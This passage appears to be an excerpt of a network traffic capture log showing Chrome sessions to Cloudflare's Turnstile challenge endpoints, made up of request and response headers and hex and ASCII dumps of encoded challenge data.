ciHJxjI6QlpJ8eleMgGyOk3V6dHCEkZhpq5iZbqp5fqF7nYtugnOPcHGQm626mZ9+tKWjfn3GmJWLoKLGosO7jruNvqLToLCVk6anntez2sCz37nmw6fJ6rbF1eDB4Ker39TByunI4+bxu87b7tDL2sEG1dHF8goH3ezo6ATM6/0HDesE49jX0Rfp1Rj6ESPgGiAAERYIJvgb6PUIDgsT/CIAKxUsIxD0PRH7NUEVIRH8L0chSAcnJRw7SRkuDk
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 56 4a 47 52 5a 6e 35 58 6d 6f 68 65 6f 70 79 63 68 6c 36 64 6e 35 32 65 6e 33 64 2f 61 70 64 36 6e 4c 4b 64 70 6f 71 44 6a 36 71 6b 68 4b 57 78 6a 33 31 2b 66 70 54 42 72 6e 36 43 6e 62 4b 2b 6b 6e 79 39 71 37 32 68 6a 38 66 48 70 71 33 54 72 62 61 6b 6f 64 65 74 72 61 61 63 79 4c 50 61 77 71 48 55 76 62 48 57 30 62 62 67 77 36 47 39 76 4e 62 50 77 4b 66 50 36 65 4f 39 74 74 4c 51 79 74 58 30 74 39 72 75 39 38 32 36 2f 64 6e 35 34 51 4f 39 39 63 66 44 2b 64 34 4a 36 4f 4d 46 35 74 48 4c 34 63 37 67 43 64 6a 36 41 77 54 39 36 39 41 54 37 68 37 37 41 52 37 79 43 43 59 44 45 79 58 35 35 66 76 38 43 41 45 6e 4d 69 6b 75 45 67 72 31 45 43 4d 44 4c 41 6b 4d 2b 2f 78 41 4c 76 6b 68 45 42 45 44 50 76 6f 48 4a 53 49 45 4a 44 30 73 44 6b 52 55 54 69 4a 57 55 43 77 Data Ascii: VJGRZn5Xmoheopychl6dn52en3d/apd6nLKdpoqDj6qkhKWxj31+fpTBrn6CnbK+kny9q72hj8fHpq3TrbakodetraacyLPawqHUvbHW0bbgw6G9vNbPwKfP6eO9ttLQytX0t9ru9826/dn54QO99cfD+d4J6OMF5tHL4c7gCdj6AwT969AT7h77AR7yCCYDEyX55fv8CAEnMikuEgr1ECMDLAkM+/xALvkhEBEDPvoHJSIEJD0sDkRUTiJWUCw
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 32 36 43 64 47 36 65 6b 6c 68 34 59 71 43 57 67 34 57 4c 6a 6e 79 66 72 70 71 51 6b 57 2b 4f 6b 6f 53 50 6c 48 75 36 6d 6f 36 38 66 37 75 55 73 62 70 2b 6a 70 43 53 73 35 57 48 6c 4d 4f 59 70 4d 66 4b 6e 74 53 66 70 63 44 4a 6c 71 4f 4d 31 37 6d 6e 6d 39 54 56 72 73 37 66 30 74 71 6a 6f 64 69 6b 31 74 66 65 32 36 75 2b 36 2b 62 65 79 65 6d 78 34 37 58 74 2b 65 6a 38 78 50 47 39 76 74 7a 4c 2f 50 54 43 30 77 58 31 32 51 44 42 33 77 48 6a 33 2f 37 4a 37 74 34 4d 44 2f 54 6e 36 68 50 33 30 66 4c 75 37 78 6e 6f 44 52 6f 4f 38 2f 55 66 46 77 44 30 34 4f 4d 4d 41 68 67 77 49 79 49 6c 42 53 4d 44 4a 52 55 4c 4a 44 45 73 47 44 63 32 46 79 77 33 48 53 45 69 45 79 63 31 52 52 68 48 4e 41 6f 6a 48 55 45 4e 4a 7a 46 52 44 51 64 55 4a 43 4d 6d 4f 46 64 55 54 6c 70 58 Data Ascii: 26CdG6eklh4YqCWg4WLjnyfrpqQkW+OkoSPlHu6mo68f7uUsbp+jpCSs5WHlMOYpMfKntSfpcDJlqOM17mnm9TVrs7f0tqjodik1tfe26u+6+beyemx47Xt+ej8xPG9vtzL/PTC0wX12QDB3wHj3/7J7t4MD/Tn6hP30fLu7xnoDRoO8/UfFwD04OMMAhgwIyIlBSMDJRULJDEsGDc2Fyw3HSEiEyc1RRhHNAojHUENJzFRDQdUJCMmOFdUTlpX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49734	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:11 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/481282651:1736393486:Bp3x-n9pI2ebSXOZGUuODS5EUk23AO1LxnyuD7yebjE/8ff1994b58e44369/5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:11 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 04:14:11 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 8tFckBY9yG+nn+FnYeWYePUuXCWzBUF4zBw=$qDDC8sPdxHVgXxt7 Server: cloudflare CF-RAY: 8ff1995afb237d00-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:11 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49736	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:11 UTC	783	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ff1994b58e44369/1736396050753/J7Y4VssUuVn_wak HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:12 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:12 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ff1995d6d5f0cae-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:12 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 50 08 02 00 00 00 4d 99 68 02 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRPMhIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49739	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:12 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ff1994b58e44369/1736396050753/J7Y4VssUuVn_wak HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:12 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:12 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ff199616a0f7cff-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:12 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 50 08 02 00 00 00 4d 99 68 02 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRPMhIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49740	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:13 UTC	812	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8ff1994b58e44369/1736396050760/a2a7d075c361685e67fa6a04dd45d906cbe3c4b88b97c6589b1bb9289a186291/MAZUVwSCCBdPEw7 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:13 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 09 Jan 2025 04:14:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-09 04:14:13 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 6f 71 66 51 64 63 4e 68 61 46 35 6e 2d 6d 6f 45 33 55 58 5a 42 73 76 6a 78 4c 69 4c 6c 38 5a 59 6d 78 75 35 4b 4a 6f 59 59 70 45 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20goqfQdcNhaF5n-moE3UXZBsvjxLiLl8ZYmxu5KJoYYpEAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-09 04:14:13 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49741	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:13 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/481282651:1736393486:Bp3x-n9pI2ebSXOZGUuODS5EUk23AO1LxnyuD7yebjE/8ff1994b58e44369/5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 33200 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:13 UTC	16384	OUT	Data Raw: 76 5f 38 66 66 31 39 39 34 62 35 38 65 34 34 33 36 39 3d 7a 69 78 30 51 67 33 53 25 32 62 67 2b 31 78 31 6e 33 70 32 78 30 73 69 4c 53 43 6d 47 4c 2b 30 6d 54 4c 53 4c 2d 30 67 69 33 4e 48 4c 76 30 78 54 30 4c 76 74 4c 43 30 73 2b 67 73 4c 79 70 56 4c 79 71 34 4c 41 42 48 33 78 4c 37 30 74 35 4c 30 30 4c 54 2b 78 34 75 77 67 6d 7a 35 30 6b 39 4c 38 32 31 4c 4c 37 4c 34 41 6e 37 50 4c 6b 79 43 48 53 66 4c 74 68 45 6f 4c 74 62 6f 51 48 6d 6d 4c 39 33 4b 34 4c 33 4b 67 4c 73 43 31 45 6a 4c 4c 39 4f 4c 34 4b 49 38 76 78 4c 79 41 68 30 57 42 67 77 39 6e 56 4c 67 35 79 30 59 43 31 66 34 35 34 4c 54 43 56 61 31 43 2d 4c 31 4f 32 6e 73 63 58 67 4c 4b 78 34 33 34 32 67 31 73 68 39 59 72 66 4c 75 37 62 4e 43 56 38 6d 71 4b 57 6e 52 6e 78 46 78 49 57 4d 52 48 38 33 Data Ascii: v_8ff1994b58e44369=zix0Qg3S%2bg+1x1n3p2x0siLSCmGL+0mTLSL-0gi3NHLv0xT0LvtLC0s+gsLypVLyq4LABH3xL70t5L00LT+x4uwgmz50k9L821LL7L4An7PLkyCHSfLthEoLtboQHmmL93K4L3KgLsC1EjLL9OL4KI8vxLyAh0WBgw9nVLg5y0YC1f454LTCVa1C-L1O2nscXgLKx4342g1sh9YrfLu7bNCV8mqKWnRnxFxIWMRH83
2025-01-09 04:14:13 UTC	16384	OUT	Data Raw: 43 6d 4c 6b 61 30 67 4c 72 43 58 66 6d 4f 78 77 31 49 2d 72 44 77 4c 59 34 37 4c 34 77 4c 35 4c 4d 77 67 43 4c 4b 30 62 78 6b 77 4c 50 4c 6b 77 4c 6d 4c 24 4c 6c 54 33 2b 33 56 4c 4e 30 6b 70 77 58 35 34 48 52 54 33 65 4c 55 30 4c 34 4c 7a 2b 53 77 74 42 4c 62 4c 33 77 74 54 33 63 4c 6c 77 34 76 33 4b 4c 77 43 33 6e 4c 41 4c 67 43 74 39 4c 77 4c 6c 72 32 2d 33 35 2d 4e 6e 4c 36 4c 77 4c 74 67 42 32 64 55 30 6c 43 31 4c 33 69 77 73 30 7a 4c 4f 74 4c 6a 30 72 2b 67 47 4c 63 30 78 54 67 45 4c 57 30 62 54 67 4f 4c 33 4c 67 24 4c 4c 30 38 51 48 35 64 7a 2b 6d 24 6c 32 33 45 42 35 35 34 32 30 4c 4c 72 45 37 77 6f 4c 2b 42 6b 78 4c 6f 4c 42 4a 66 45 63 24 30 35 35 6b 4e 33 4f 77 33 4c 56 42 67 4b 6e 6c 77 72 78 33 61 4c 4b 77 34 76 67 6c 4c 41 74 32 76 31 58 4c Data Ascii: CmLka0gLrCXfmOxw1I-rDwLY47L4wL5LMwgCLK0bxkwLPLkwLmL$LlT3+3VLN0kpwX54HRT3eLU0L4Lz+SwtBLbL3wtT3cLlw4v3KLwC3nLALgCt9LwLlr2-35-NnL6LwLtgB2dU0lC1L3iws0zLOtLj0r+gGLc0xTgELW0bTgOL3Lg$LL08QH5dz+m$l23EB55420LLrE7woL+BkxLoLBJfEc$055kN3Ow3LVBgKnlwrx3aLKw4vglLAt2v1XL
2025-01-09 04:14:13 UTC	432	OUT	Data Raw: 66 78 62 45 44 43 75 63 77 66 2b 78 69 33 4a 45 73 6e 32 6e 2d 68 7a 65 37 36 7a 31 63 78 4e 43 31 78 67 36 61 57 74 6c 58 74 7a 38 43 53 73 63 56 71 38 48 67 62 78 30 6d 30 4b 39 34 34 4c 44 77 34 77 72 32 6a 31 6f 64 35 58 4d 33 55 56 61 54 31 66 51 37 35 31 66 33 2b 33 4c 42 6b 42 46 69 30 6c 35 61 76 57 45 52 51 30 50 48 50 6b 45 75 77 67 4f 70 77 66 58 4c 38 63 57 6d 34 39 30 37 35 46 50 62 34 74 4b 4f 6e 30 51 4b 2b 7a 77 67 47 63 49 57 51 65 79 4e 4e 42 4c 4c 79 62 48 64 49 6f 48 78 31 37 49 6a 69 75 70 6e 30 33 44 57 30 65 7a 37 75 4d 46 50 68 6e 32 2d 7a 4c 53 32 50 43 4e 62 64 76 36 48 4b 55 62 4c 34 4a 76 68 37 49 34 65 30 31 77 64 78 69 42 4a 41 35 47 73 69 6a 55 38 71 33 45 78 2d 71 33 34 33 65 76 52 56 4a 66 72 52 4c 72 36 41 30 4c 4e 70 37 Data Ascii: fxbEDCucwf+xi3JEsn2n-hze76z1cxNC1xg6aWtlXtz8CSscVq8Hgbx0m0K944LDw4wr2j1od5XM3UVaT1fQ751f3+3LBkBFi0l5avWERQ0PHPkEuwgOpwfXL8cWm49075FPb4tKOn0QK+zwgGcIWQeyNNBLLybHdIoHx17Ijiupn03DW0ez7uMFPhn2-zLS2PCNbdv6HKUbL4Jvh7I4e01wdxiBJA5GsijU8q3Ex-q343evRVJfrRLr6A0LNp7
2025-01-09 04:14:14 UTC	318	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:14 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26256 Connection: close cf-chl-gen: 9tRPOWHl7Ub+Fev80IS4/dlRm9qOwtctDdTcsT3QpNrkhyC/TeGHo8lOQtIHAmx4gSs=$4kQuSaoVMx6QEZBz Server: cloudflare CF-RAY: 8ff199694ae21889-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:14 UTC	1051	IN	Data Raw: 70 5a 57 56 72 48 71 52 77 35 61 7a 67 59 43 55 74 70 4c 42 72 4c 75 69 6e 49 33 4b 79 36 43 52 7a 73 36 74 7a 63 58 53 30 38 58 53 33 72 65 70 31 64 33 6a 77 4e 48 46 76 62 37 61 70 64 6e 43 79 63 54 4a 34 75 75 77 73 4c 48 30 79 66 65 76 39 75 54 51 78 4f 76 58 34 50 44 4b 41 51 4c 52 7a 66 33 61 41 65 50 53 42 73 72 73 78 73 62 47 43 65 63 56 45 76 45 46 37 38 37 33 30 78 62 58 39 52 66 5a 2f 76 7a 34 4a 42 33 67 49 66 49 47 34 4e 77 65 42 41 54 36 36 53 30 72 43 50 33 6d 4e 79 50 77 39 54 55 30 2b 50 4d 2f 4f 66 62 39 51 7a 67 4d 4e 69 44 39 51 78 45 30 4b 30 67 6b 52 79 45 75 52 55 4d 39 4c 67 77 65 56 78 42 47 4c 69 67 55 55 6a 39 4e 51 42 63 63 4e 43 49 37 5a 43 5a 52 51 69 45 2f 51 31 5a 74 4c 6d 45 37 54 44 77 71 4d 55 39 4f 55 56 4a 4f 66 48 31 Data Ascii: pZWVrHqRw5azgYCUtpLBrLuinI3Ky6CRzs6tzcXS08XS3rep1d3jwNHFvb7apdnCycTJ4uuwsLH0yfev9uTQxOvX4PDKAQLRzf3aAePSBsrsxsbGCecVEvEF78730xbX9RfZ/vz4JB3gIfIG4NweBAT66S0rCP3mNyPw9TU0+PM/Ofb9QzgMNiD9QxE0K0gkRyEuRUM9LgweVxBGLigUUj9NQBccNCI7ZCZRQiE/Q1ZtLmE7TDwqMU9OUVJOfH1
2025-01-09 04:14:14 UTC	1369	IN	Data Raw: 55 6c 4c 43 54 71 37 61 71 75 35 76 59 6e 64 43 78 30 63 47 2f 6e 35 32 6b 32 62 61 2f 31 38 76 58 75 63 61 6d 79 73 44 71 77 2b 50 42 74 73 50 4f 79 50 6e 71 33 64 54 65 35 39 66 32 37 64 6e 52 77 50 33 64 38 75 48 41 36 65 72 62 32 77 72 4f 77 2f 33 46 33 41 6e 7a 34 38 6f 4f 45 78 59 4b 44 75 2f 38 37 43 44 68 2f 66 51 51 2b 52 30 6d 2b 77 67 57 43 2f 72 72 45 51 55 44 4b 2b 58 6d 49 2f 45 67 38 6a 66 36 45 67 77 47 43 44 6f 35 48 30 45 64 4f 78 70 49 52 54 30 53 4d 78 77 2f 4c 30 30 39 48 67 51 50 56 44 30 75 4d 42 67 5a 47 56 64 48 4c 6b 5a 58 58 56 6f 36 55 46 63 6a 5a 6c 49 31 57 57 41 64 50 44 35 73 52 6b 55 36 63 56 46 43 56 6c 39 49 62 57 51 79 5a 32 78 4f 5a 6d 74 32 59 6b 31 77 56 48 42 63 59 56 64 6d 68 46 35 56 68 49 4b 50 55 47 6c 37 67 49 Data Ascii: UlLCTq7aqu5vYndCx0cG/n52k2ba/18vXucamysDqw+PBtsPOyPnq3dTe59f27dnRwP3d8uHA6erb2wrOw/3F3Anz48oOExYKDu/87CDh/fQQ+R0m+wgWC/rrEQUDK+XmI/Eg8jf6EgwGCDo5H0EdOxpIRT0SMxw/L009HgQPVD0uMBgZGVdHLkZXXVo6UFcjZlI1WWAdPD5sRkU6cVFCVl9IbWQyZ2xOZmt2Yk1wVHBcYVdmhF5VhIKPUGl7gI
2025-01-09 04:14:14 UTC	1369	IN	Data Raw: 6d 37 43 59 72 4e 69 36 77 72 66 52 32 4d 57 7a 31 74 2f 44 35 37 7a 72 74 63 37 62 71 63 7a 4b 76 4e 37 44 72 75 6a 5a 78 72 72 52 33 64 32 33 33 50 76 75 31 73 77 42 75 2b 48 53 78 76 48 54 79 39 37 64 78 64 72 6d 2f 4f 54 46 37 51 59 51 34 78 6b 4a 39 65 76 34 45 2f 63 4b 43 65 48 30 38 74 30 69 4b 42 59 44 2f 41 6f 44 4c 51 44 70 4a 79 41 47 36 79 59 74 46 7a 45 4f 47 50 49 59 46 77 63 4c 38 50 45 74 47 43 49 38 41 50 63 46 45 77 55 56 4a 53 55 33 43 55 41 34 53 69 73 63 4c 43 52 46 54 54 63 74 49 30 6b 39 44 7a 64 58 4d 68 4e 67 57 42 78 47 4f 54 78 51 4f 45 5a 68 62 55 45 6d 4e 33 45 73 52 43 78 54 62 46 42 55 53 58 6f 33 4c 56 46 75 4e 54 39 72 64 44 52 56 58 6b 4e 69 59 6f 5a 49 61 47 74 73 53 6b 5a 38 66 35 43 49 58 58 4e 53 53 48 5a 35 69 32 64 Data Ascii: m7CYrNi6wrfR2MWz1t/D57zrtc7bqczKvN7DrujZxrrR3d233Pvu1swBu+HSxvHTy97dxdrm/OTF7QYQ4xkJ9ev4E/cKCeH08t0iKBYD/AoDLQDpJyAG6yYtFzEOGPIYFwcL8PEtGCI8APcFEwUVJSU3CUA4SiscLCRFTTctI0k9DzdXMhNgWBxGOTxQOEZhbUEmN3EsRCxTbFBUSXo3LVFuNT9rdDRVXkNiYoZIaGtsSkZ8f5CIXXNSSHZ5i2d
2025-01-09 04:14:14 UTC	1369	IN	Data Raw: 37 65 39 35 64 2f 43 74 39 62 4a 35 37 33 45 79 61 61 33 38 4d 54 49 76 62 79 77 72 37 44 74 73 66 6e 6a 31 65 72 70 33 66 7a 39 37 75 45 42 32 4f 4d 45 32 74 54 6d 76 65 41 50 44 75 54 6d 2b 67 72 6e 30 2b 66 4d 37 68 66 74 30 39 59 59 38 42 50 65 49 75 44 71 48 41 50 7a 38 52 37 30 39 67 48 68 43 41 2f 6c 4c 68 48 77 4d 77 4d 54 4c 44 59 47 38 51 55 63 45 78 63 6f 2f 44 59 4b 49 41 33 2b 45 66 77 2f 46 6a 45 5a 46 51 6b 6b 51 77 55 71 48 69 63 4c 48 30 38 70 53 54 41 69 4a 31 6c 49 4b 6c 55 38 4e 68 68 61 50 30 35 63 57 54 67 6e 57 31 70 55 53 53 6c 6c 51 44 70 4e 62 6c 4e 51 52 6e 46 48 52 55 56 79 58 48 78 74 4f 45 39 49 55 46 4a 4c 50 48 64 4f 51 48 4a 52 55 34 5a 47 61 49 6c 61 59 55 31 67 66 70 46 71 6a 35 42 68 64 47 32 51 64 33 68 59 67 48 4e 2b Data Ascii: 7e95d/Ct9bJ573Eyaa38MTIvbywr7Dtsfnj1erp3fz97uEB2OME2tTmveAPDuTm+grn0+fM7hft09YY8BPeIuDqHAPz8R709gHhCA/lLhHwMwMTLDYG8QUcExco/DYKIA3+Efw/FjEZFQkkQwUqHicLH08pSTAiJ1lIKlU8NhhaP05cWTgnW1pUSSllQDpNblNQRnFHRUVyXHxtOE9IUFJLPHdOQHJRU4ZGaIlaYU1gfpFqj5BhdG2Qd3hYgHN+
2025-01-09 04:14:14 UTC	1369	IN	Data Raw: 57 38 77 4d 61 6b 37 62 66 70 36 2b 66 45 36 36 62 41 36 4e 4c 4b 77 74 62 79 30 4f 7a 61 2f 64 48 4d 7a 76 66 57 31 2f 44 45 30 64 63 48 2b 39 62 75 41 50 34 44 38 75 50 51 2f 76 45 52 44 64 58 5a 2b 68 6e 33 30 78 73 4d 32 52 72 79 2b 2f 30 6d 45 68 6b 41 38 76 51 55 41 42 6f 4e 45 66 67 4e 4d 75 6f 4a 4b 69 6b 4a 45 68 73 73 4e 42 49 56 47 67 67 70 4f 78 4e 44 47 79 45 6f 45 43 67 2b 46 44 34 6d 47 55 59 39 4b 67 6b 30 51 7a 4e 49 53 69 73 7a 54 44 63 58 50 46 49 72 49 44 73 2b 57 6b 31 45 51 68 39 58 51 6a 64 45 59 55 51 35 61 6a 70 4a 4b 6c 52 64 55 46 46 79 51 46 5a 74 4e 30 39 55 53 56 68 7a 59 6d 42 51 59 6d 30 2b 61 47 52 6b 66 57 74 43 5a 32 78 2b 65 6e 6c 4a 54 70 56 32 63 59 4a 34 62 6c 4e 54 65 48 5a 58 66 47 31 35 6b 35 6c 67 66 4a 68 38 6c Data Ascii: W8wMak7bfp6+fE66bA6NLKwtby0Oza/dHMzvfW1/DE0dcH+9buAP4D8uPQ/vERDdXZ+hn30xsM2Rry+/0mEhkA8vQUABoNEfgNMuoJKikJEhssNBIVGggpOxNDGyEoECg+FD4mGUY9Kgk0QzNISiszTDcXPFIrIDs+Wk1EQh9XQjdEYUQ5ajpJKlRdUFFyQFZtN09USVhzYmBQYm0+aGRkfWtCZ2x+enlJTpV2cYJ4blNTeHZXfG15k5lgfJh8l
2025-01-09 04:14:14 UTC	1369	IN	Data Raw: 42 30 4b 72 6c 34 64 50 53 33 75 4c 56 31 2b 33 6e 32 38 6a 31 37 4e 37 50 39 4d 44 6a 2b 4e 76 6a 2f 63 4b 38 2b 51 66 75 77 41 59 4a 2b 66 6f 4e 2f 64 48 30 39 42 45 43 42 77 30 57 32 74 59 64 47 68 59 42 46 42 37 78 48 68 6b 52 43 50 4d 58 43 69 58 6d 44 52 6b 50 37 68 34 4c 4b 66 59 59 49 52 55 79 4b 42 6e 31 47 53 30 71 2f 76 73 2f 50 43 63 41 52 6b 41 59 52 30 4a 48 49 45 4d 2b 53 7a 4d 54 52 30 74 4f 56 69 6f 35 45 30 35 4b 50 44 74 48 53 7a 35 41 56 6c 42 45 4d 56 35 56 52 7a 68 64 4b 55 78 68 52 45 78 6d 4b 79 56 76 62 6c 35 6e 62 32 45 33 62 33 4e 7a 4f 6a 68 78 64 31 4e 2b 64 33 74 2b 68 6c 70 70 51 33 35 36 62 47 74 33 65 32 35 77 68 6f 42 30 59 59 36 46 64 32 69 4e 57 58 79 52 64 48 79 57 58 35 4f 62 6e 6c 2b 6a 6d 36 47 68 5a 4b 53 6a 61 6f Data Ascii: B0Krl4dPS3uLV1+3n28j17N7P9MDj+Nvj/cK8+QfuwAYJ+foN/dH09BECBw0W2tYdGhYBFB7xHhkRCPMXCiXmDRkP7h4LKfYYIRUyKBn1GS0q/vs/PCcARkAYR0JHIEM+SzMTR0tOVio5E05KPDtHSz5AVlBEMV5VRzhdKUxhRExmKyVvbl5nb2E3b3NzOjhxd1N+d3t+hlppQ356bGt3e25whoB0YY6Fd2iNWXyRdHyWX5Obnl+jm6GhZKSjao
